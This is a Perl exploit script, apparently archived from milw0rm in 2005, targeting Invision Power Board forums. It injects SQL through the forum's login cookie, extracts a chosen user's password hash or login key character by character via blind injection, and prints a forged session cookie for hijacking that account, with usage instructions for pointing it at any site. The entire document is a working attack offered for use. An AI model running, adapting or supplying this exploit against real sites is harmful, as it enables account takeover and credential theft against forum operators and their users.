use LWP::UserAgent;       $ua = new LWP::UserAgent;     $ua->agent("Mosiac 1.0" . $ua->agent);    if (!$ARGV[0]) {$ARGV[0] = '';}  if (!$ARGV[3]) {$ARGV[3] = '';}    my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';  my $user = $ARGV[1];     my $iver = $ARGV[2];     my $cpre = $ARGV[3];     my $dbug = $ARGV[4];         if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3])  {          print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n";          print "[addres]  = like www.site.com/forum/\r\n";          print "[userid]  = user id\r\n";          print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n";  		print "[c_fix]	 = cookie prefix by defoult its ibf_\r\n";          exit;  }    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");    my $outputs = '';    for( $i=1; $i < 33; $i++ )  {          for( $j=0; $j < 16; $j++ )          {                  my $current = $charset[$j];              my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";                  my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);                  my $res = $ua->get($path, @cookie);                    # If we get a valid sql request then this                  # does not appear anywhere in the sources                  $pattern = '<title>(.*)Log In(.*)</title>';                    $_ = $res->content;                    if ($dbug) { print };                    if ( !(/$pattern/) )                  {                          $outputs .= $current;                          print "$i char = $current\n";                      last;                  }            }    if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }  }  print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;  exit;    # milw0rm.com [2005-05-26]